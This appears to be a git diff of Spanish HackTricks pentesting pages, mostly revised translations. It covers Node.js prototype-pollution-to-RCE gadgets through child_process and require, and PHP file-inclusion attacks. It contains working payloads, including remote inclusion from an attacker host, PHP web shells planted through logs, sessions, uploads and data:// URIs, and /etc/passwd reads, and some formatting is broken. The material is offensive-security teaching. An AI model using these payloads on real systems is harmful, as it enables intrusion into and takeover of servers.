* Luego, en lugar de requerir a través de **`NODE_OPTIONS`** el archivo `/proc/self/environ`, **requiere `/proc/self/cmdline`**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -160,9 +160,9 @@ var proc = fork('a_file.js');
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## Interacción con DNS
|
||||
## Interacción DNS
|
||||
|
||||
Utilizando las siguientes cargas útiles, es posible abusar de la variable de entorno NODE\_OPTIONS que hemos discutido anteriormente y detectar si funcionó con una interacción con DNS:
|
||||
Usando los siguientes payloads es posible abusar de la variable de entorno NODE\_OPTIONS que hemos discutido previamente y detectar si funcionó con una interacción DNS:
|
||||
```json
|
||||
{
|
||||
"__proto__": {
|
||||
|
@ -172,7 +172,7 @@ Utilizando las siguientes cargas útiles, es posible abusar de la variable de en
|
|||
}
|
||||
}
|
||||
```
|
||||
O, para evitar que los WAF soliciten el dominio:
|
||||
O, para evitar WAFs que solicitan el dominio:
|
||||
```json
|
||||
{
|
||||
"__proto__": {
|
||||
|
@ -182,13 +182,13 @@ O, para evitar que los WAF soliciten el dominio:
|
|||
}
|
||||
}
|
||||
```
|
||||
## Vulnerabilidad PP2RCE en las funciones de child\_process
|
||||
## Vulnerabilidad PP2RCE en funciones de child\_process
|
||||
|
||||
En esta sección vamos a analizar **cada función de `child_process`** para ejecutar código y ver si podemos utilizar alguna técnica para forzar que esa función ejecute código:
|
||||
En esta sección vamos a analizar **cada función de `child_process`** para ejecutar código y ver si podemos usar alguna técnica para forzar a esa función a ejecutar código:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Explotación de `exec`</summary>
|
||||
<summary><code>exec</code> explotación</summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -221,7 +221,7 @@ var proc = exec('something');
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>execFile</code> explotación</strong></summary>
|
||||
<summary><strong>Explotación de <code>execFile</code></strong></summary>
|
||||
```javascript
|
||||
// environ trick - not working
|
||||
// It's not possible to pollute the .en attr to create a first env var
|
||||
|
@ -240,8 +240,8 @@ var proc = execFile('/usr/bin/node');
|
|||
|
||||
// Windows - not working
|
||||
```
|
||||
Para que **`execFile`** funcione, **DEBE ejecutar node** para que NODE\_OPTIONS funcione.\
|
||||
Si no está ejecutando **node**, debes encontrar cómo **alterar la ejecución** de lo que se está ejecutando **con variables de entorno** y configurarlas.
|
||||
Para que **`execFile`** funcione **DEBE ejecutar node** para que las NODE\_OPTIONS funcionen.\
|
||||
Si **no** está ejecutando **node**, necesitas encontrar cómo podrías **alterar la ejecución** de lo que sea que esté ejecutando **con variables de entorno** y configurarlas.
|
||||
|
||||
Las **otras** técnicas **funcionan** sin este requisito porque es **posible modificar** **lo que se ejecuta** a través de la contaminación de prototipos. (En este caso, incluso si puedes contaminar `.shell`, no contaminarás lo que se está ejecutando).
|
||||
|
||||
|
@ -249,7 +249,7 @@ Las **otras** técnicas **funcionan** sin este requisito porque es **posible mod
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Explotación de <code>fork</code></summary>
|
||||
<summary><code>fork</code> explotación</summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -340,7 +340,7 @@ var proc = spawn('something');
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>execFileSync</code> explotación</strong></summary>
|
||||
<summary><strong>Explotación de <code>execFileSync</code></strong></summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -433,7 +433,7 @@ var proc = execSync('something');
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>spawnSync</code> explotación</strong></summary>
|
||||
<summary><strong>Explotación de <code>spawnSync</code></strong></summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -485,18 +485,18 @@ var proc = spawnSync('something');
|
|||
|
||||
## Forzando Spawn
|
||||
|
||||
En los ejemplos anteriores viste cómo activar la funcionalidad de un gadget que **llama a `spawn`** necesita que esté **presente** (todos los métodos de **`child_process`** utilizados para ejecutar algo lo llaman). En el ejemplo anterior eso era **parte del código**, pero ¿qué pasa si el código **no lo está llamando**?
|
||||
En los ejemplos anteriores viste cómo desencadenar el gadget; una funcionalidad que **llama a `spawn`** necesita estar **presente** (todos los métodos de **`child_process`** utilizados para ejecutar algo lo llaman). En el ejemplo anterior eso era **parte del código**, pero ¿qué pasa si el código **no** lo está llamando?
|
||||
|
||||
### Controlando una ruta de archivo require
|
||||
|
||||
En este [**otro artículo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) el usuario puede controlar la ruta de archivo donde se ejecutará un **`require`**. En ese escenario, el atacante solo necesita **encontrar un archivo `.js` dentro del sistema** que **ejecute un método spawn cuando se importe**.\
|
||||
Algunos ejemplos de archivos comunes que llaman a una función spawn cuando se importan son:
|
||||
En este [**otro artículo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) el usuario puede controlar la ruta del archivo donde se ejecutará un **`require`**. En ese escenario, el atacante solo necesita **encontrar un archivo `.js` dentro del sistema** que **ejecute un método spawn al ser importado.**\
|
||||
Algunos ejemplos de archivos comunes que llaman a una función spawn al ser importados son:
|
||||
|
||||
* /path/to/npm/scripts/changelog.js
|
||||
* /opt/yarn-v1.22.19/preinstall.js
|
||||
* Encuentra **más archivos a continuación**
|
||||
* Encuentra **más archivos abajo**
|
||||
|
||||
El siguiente script simple buscará **llamadas** desde **child\_process** **sin ningún relleno** (para evitar mostrar llamadas dentro de funciones):
|
||||
El siguiente script simple buscará **llamadas** de **child\_process** **sin ningún relleno** (para evitar mostrar llamadas dentro de funciones):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -523,24 +523,24 @@ done
|
|||
|
||||
</details>
|
||||
|
||||
### Estableciendo la ruta del archivo requerido a través de la contaminación del prototipo
|
||||
### Establecer la ruta del archivo require a través de la contaminación de prototipos
|
||||
|
||||
{% hint style="warning" %}
|
||||
La **técnica anterior requiere** que el **usuario controle la ruta del archivo** que va a ser **requerido**. Pero esto no siempre es cierto.
|
||||
{% endhint %}
|
||||
|
||||
Sin embargo, si el código va a ejecutar un require después de la contaminación del prototipo, incluso si **no controlas la ruta** que se va a requerir, **puedes forzar una diferente abusando de la contaminación del prototipo**. Por lo tanto, aunque la línea de código sea como `require("./a_file.js")` o `require("bytes")`, se **requerirá el paquete que has contaminado**.
|
||||
Sin embargo, si el código va a ejecutar un require después de la contaminación de prototipos, incluso si **no controlas la ruta** que va a ser requerida, **puedes forzar una diferente abusando de la contaminación de prototipos**. Así que incluso si la línea de código es como `require("./a_file.js")` o `require("bytes")`, requerirá **el paquete que has contaminado**.
|
||||
|
||||
Por lo tanto, si se ejecuta un require después de la contaminación del prototipo y no hay una función de ejecución de spawn, este es el ataque:
|
||||
Por lo tanto, si se ejecuta un require después de tu contaminación de prototipos y no hay función spawn, este es el ataque:
|
||||
|
||||
* Encuentra un **archivo `.js` dentro del sistema** que cuando se **requiera** ejecutará algo usando `child_process`
|
||||
* Si puedes subir archivos a la plataforma que estás atacando, puedes subir un archivo así
|
||||
* Encuentra un archivo **`.js` dentro del sistema** que al ser **requerido** ejecute algo usando `child_process`
|
||||
* Si puedes subir archivos a la plataforma que estás atacando, podrías subir un archivo así
|
||||
* Contamina las rutas para **forzar la carga del archivo `.js`** que ejecutará algo con child\_process
|
||||
* **Contamina el environ/cmdline** para ejecutar código arbitrario cuando se llame a una función de ejecución de child\_process (ver las técnicas iniciales)
|
||||
|
||||
#### Requerimiento absoluto
|
||||
#### Require absoluto
|
||||
|
||||
Si el require realizado es **absoluto** (`require("bytes")`) y el **paquete no contiene main** en el archivo `package.json`, puedes **contaminar el atributo `main`** y hacer que el **require ejecute un archivo diferente**.
|
||||
Si el require ejecutado es **absoluto** (`require("bytes")`) y el **paquete no contiene main** en el archivo `package.json`, puedes **contaminar el atributo `main`** y hacer que el **require ejecute un archivo diferente**.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="exploit" %}
|
||||
|
@ -612,10 +612,12 @@ clone(USERINPUT);
|
|||
var proc = require('./relative_path.js');
|
||||
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="malicious.js" %}
|
||||
```
|
||||
```javascript
|
||||
const { fork } = require('child_process');
|
||||
console.log("Hellooo from malicious");
|
||||
|
@ -668,7 +670,7 @@ fork('/path/to/anything');
|
|||
|
||||
#### Relative require - 3
|
||||
|
||||
Similar al anterior, esto se encontró en [**este informe**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
|
||||
Similar al anterior, esto se encontró en [**este writeup**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
|
||||
```javascript
|
||||
// Requiring /opt/yarn-v1.22.19/preinstall.js
|
||||
Object.prototype["data"] = {
|
||||
|
@ -687,19 +689,23 @@ Object.prototype.env = {
|
|||
|
||||
require('./usage.js')
|
||||
```
|
||||
## Dispositivos VM
|
||||
## VM Gadgets
|
||||
|
||||
En el artículo [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) también se indica que el control de **`contextExtensions`** desde algunos métodos de la biblioteca **`vm`** podría ser utilizado como un dispositivo.\
|
||||
Sin embargo, al igual que los métodos anteriores de **`child_process`**, ha sido **corregido** en las últimas versiones.
|
||||
En el paper [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) también se indica que el control de **`contextExtensions`** de algunos métodos de la biblioteca **`vm`** podría usarse como un gadget.\
|
||||
Sin embargo, como los métodos anteriores de **`child_process`**, ha sido **corregido** en las últimas versiones.
|
||||
|
||||
## Soluciones y protecciones inesperadas
|
||||
## Correcciones & Protecciones inesperadas
|
||||
|
||||
Por favor, tenga en cuenta que la contaminación del prototipo funciona si el **atributo** de un objeto al que se accede está **indefinido**. Si en el **código** se **establece** un **valor** para ese **atributo**, no podrás sobrescribirlo.
|
||||
Por favor, ten en cuenta que la contaminación de prototipos funciona si el **atributo** de un objeto que se está accediendo es **undefined**. Si en el **código** ese **atributo** tiene un **valor asignado**, **no podrás sobrescribirlo**.
|
||||
|
||||
En junio de 2022, a partir de [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la variable `options` en lugar de ser `{}` es un **`kEmptyObject`**. Esto **evita que la contaminación del prototipo** afecte a los **atributos** de **`options`** para obtener RCE.\
|
||||
Al menos desde la versión 18.4.0, esta protección ha sido **implementada**, por lo que los exploits de `spawn` y `spawnSync` que afectan a los métodos ya no funcionan (¡si no se utilizan `options`!).
|
||||
En junio de 2022 desde [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) la variable `options` en lugar de ser un `{}` es un **`kEmptyObject`**. Lo cual **previene la contaminación de prototipos** de afectar los **atributos** de **`options`** para obtener RCE.\
|
||||
Al menos desde la versión 18.4.0 esta protección ha sido **implementada**, y por lo tanto los **exploits** de `spawn` y `spawnSync` que afectan a los métodos **ya no funcionan** (¡si no se usan `options`!).
|
||||
|
||||
En [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), la contaminación del prototipo de **`contextExtensions`** de la biblioteca vm también se **corrigió** estableciendo las opciones en \*\*`kEmptyObject` \*\* en lugar de **`{}`.**
|
||||
En [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) la **contaminación de prototipos** de **`contextExtensions`** de la biblioteca vm fue **también de cierta forma corregida** estableciendo las opciones a **`kEmptyObject`** en lugar de **`{}`.**
|
||||
|
||||
### **Otros Gadgets**
|
||||
|
||||
* [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -710,12 +716,14 @@ En [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156c
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,14 +1,16 @@
|
|||
# Inclusión de Archivos/Travesía de Directorios
|
||||
# Inclusión de Archivos/Travesía de Rutas
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repos de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -29,7 +31,7 @@ Mantente informado con los lanzamientos de nuevas recompensas por errores y actu
|
|||
|
||||
## Inclusión de Archivos
|
||||
|
||||
**Inclusión Remota de Archivos (RFI):** El archivo se carga desde un servidor remoto (Lo mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow\_url\_include**).\
|
||||
**Inclusión Remota de Archivos (RFI):** El archivo se carga desde un servidor remoto (Lo mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow\_url\_include**).\
|
||||
**Inclusión Local de Archivos (LFI):** El servidor carga un archivo local.
|
||||
|
||||
La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.
|
||||
|
@ -38,7 +40,7 @@ La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el a
|
|||
|
||||
Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Ciego - Interesante - Archivos LFI2RCE
|
||||
## Archivos Ciegos - Interesantes - LFI2RCE
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
|
@ -120,11 +122,11 @@ http://example.com/index.php?page=private/../../../../etc/passwd # we went deepe
|
|||
* si obtienes el contenido de `/etc/passwd`, has validado que efectivamente existe una carpeta `private` en tu directorio actual
|
||||
* las carpetas que descubriste utilizando esta técnica pueden ser sometidas a fuzzing para archivos (usando un método LFI clásico) o para subdirectorios utilizando la misma técnica de manera recursiva.
|
||||
|
||||
Es posible adaptar esta técnica para encontrar directorios en cualquier ubicación del sistema de archivos. Por ejemplo, si, bajo la misma hipótesis (directorio actual a una profundidad de 3 en el sistema de archivos) quieres verificar si `/var/www/` contiene un directorio `private`, utiliza el siguiente payload:
|
||||
Es posible adaptar esta técnica para encontrar directorios en cualquier ubicación del sistema de archivos. Por ejemplo, si, bajo la misma hipótesis (directorio actual a profundidad 3 del sistema de archivos) quieres verificar si `/var/www/` contiene un directorio `private`, utiliza el siguiente payload:
|
||||
```
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
La siguiente secuencia de comandos permite la generación de payloads usando `sed` (1) como entrada para herramientas de fuzzing de URL como `ffuf` (2):
|
||||
La siguiente secuencia de comandos permite la generación de payloads utilizando `sed` (1) como entrada para herramientas de fuzzing de URL como `ffuf` (2):
|
||||
```
|
||||
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
|
||||
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
|
||||
|
@ -164,7 +166,7 @@ http://example.com/index.php?page=PhP://filter
|
|||
```
|
||||
## Inclusión Remota de Archivos
|
||||
|
||||
En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Off.** Debe estar **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
|
||||
En php esto está deshabilitado por defecto porque **`allow_url_include`** está en **Off.** Debe estar en **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
|
@ -187,9 +189,13 @@ Otro ejemplo **sin usar el protocolo `php://`** sería:
|
|||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Elemento raíz en Python
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
## Elemento Raíz en Python
|
||||
|
||||
En python en un código como este:
|
||||
```
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
|
@ -313,7 +319,7 @@ También puedes usar **php://stdin, php://stdout y php://stderr** para acceder a
|
|||
### zip:// y rar://
|
||||
|
||||
Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.\
|
||||
Para poder abusar del protocolo rar, este **necesita ser específicamente activado**.
|
||||
Para poder abusar del protocolo rar, este **necesita estar específicamente activado**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
|
@ -378,7 +384,7 @@ php --define phar.readonly=0 create_path.php
|
|||
```
|
||||
Se generará un archivo llamado `test.phar` que puedes usar para abusar del LFI.
|
||||
|
||||
Si el LFI solo está leyendo el archivo y no ejecutando el código PHP dentro de él, por ejemplo, utilizando funciones como _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_, puedes intentar abusar de una **deserialización** que ocurre al **leer** un **archivo** utilizando el protocolo **phar**.\
|
||||
Si el LFI solo está leyendo el archivo y no ejecutando el código PHP dentro de él, por ejemplo, utilizando funciones como _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_**.** Puedes intentar abusar de una **deserialización** que ocurre al **leer** un **archivo** utilizando el protocolo **phar**.\
|
||||
Para más información, lee el siguiente post:
|
||||
|
||||
{% content-ref url="phar-deserialization.md" %}
|
||||
|
@ -393,14 +399,14 @@ Consulta más[ **protocolos posibles para incluir aquí**](https://www.php.net/m
|
|||
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Acceso al sistema de archivos local
|
||||
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Acceso a URLs HTTP(s)
|
||||
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acceso a URLs FTP(s)
|
||||
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flujos de compresión
|
||||
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Streams de compresión
|
||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Buscar rutas que coincidan con un patrón (No devuelve nada imprimible, por lo que no es realmente útil aquí)
|
||||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flujos de audio (No útil para leer archivos arbitrarios)
|
||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Streams de audio (No es útil para leer archivos arbitrarios)
|
||||
|
||||
## LFI vía 'assert' de PHP
|
||||
|
||||
Si te encuentras con un LFI difícil que parece estar filtrando cadenas de traversal como ".." y responde con algo como "Intento de hacking" o "¡Buen intento!", un payload de inyección 'assert' puede funcionar.
|
||||
Si te encuentras con un LFI difícil que parece estar filtrando cadenas de traversal como ".." y responde con algo como "Intento de hacking" o "¡Buena prueba!", un payload de inyección 'assert' puede funcionar.
|
||||
|
||||
Un payload como este:
|
||||
```
|
||||
|
@ -421,13 +427,13 @@ Asegúrate de codificar las cargas útiles en URL antes de enviarlas.
|
|||
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
|
||||
|
||||
**Perspectivas de Hacking**\
|
||||
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking
|
||||
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
|
||||
|
||||
**Noticias de Hacking en Tiempo Real**\
|
||||
Mantente actualizado con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real
|
||||
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real.
|
||||
|
||||
**Últimos Anuncios**\
|
||||
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma
|
||||
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma.
|
||||
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
|
||||
|
||||
|
@ -441,7 +447,7 @@ En [**este increíble post**](https://www.synacktiv.com/en/publications/php-filt
|
|||
|
||||
Como resumen, la técnica utiliza la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo provocará un **error**.
|
||||
|
||||
Luego, para filtrar el primer carácter se utiliza el filtro **`dechunk`** junto con otros como **base64** o **rot13** y finalmente se usan los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** para **colocar otros caracteres al principio y filtrarlos**.
|
||||
Luego, para filtrar el primer carácter se utiliza el filtro **`dechunk`** junto con otros como **base64** o **rot13** y finalmente los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** se usan para **colocar otros caracteres al principio y filtrarlos**.
|
||||
|
||||
**Funciones que podrían ser vulnerables**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo objetivo de solo lectura con esto)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
|
@ -453,9 +459,9 @@ Para los detalles técnicos, ¡revisa el post mencionado!
|
|||
|
||||
Explicado anteriormente, [**sigue este enlace**](./#remote-file-inclusion).
|
||||
|
||||
### A través del archivo de registro de Apache/Nginx
|
||||
### Vía archivo de registro de Apache/Nginx
|
||||
|
||||
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función include, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, establecer dentro del **agente de usuario** o dentro de un parámetro **GET** una shell php como **`<?php system($_GET['c']); ?>`** e incluir ese archivo
|
||||
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función include, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, establecer dentro del **agente de usuario** o dentro de un parámetro **GET** una shell de PHP como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que **si usas comillas dobles** para la shell en lugar de **comillas simples**, las comillas dobles se modificarán por la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**.
|
||||
|
@ -494,7 +500,7 @@ Como un archivo de registro, envía el payload en el User-Agent, se reflejará d
|
|||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### A través de la carga de archivos
|
||||
### Vía carga de archivos
|
||||
|
||||
Si puedes cargar un archivo, simplemente inyecta el payload de la shell en él (por ejemplo: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
|
@ -520,13 +526,11 @@ En PHP, estas sesiones se almacenan en archivos _/var/lib/php5/sess\\_\[PHPSESSI
|
|||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
La traducción solicitada sería:
|
||||
|
||||
Establece la cookie en `<?php system('cat /etc/passwd');?>`
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Utiliza LFI para incluir el archivo de sesión PHP
|
||||
Utiliza el LFI para incluir el archivo de sesión PHP
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
|
@ -546,25 +550,25 @@ http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=da
|
|||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via filtros de php (no se necesita archivo)
|
||||
### Via php filters (no file needed)
|
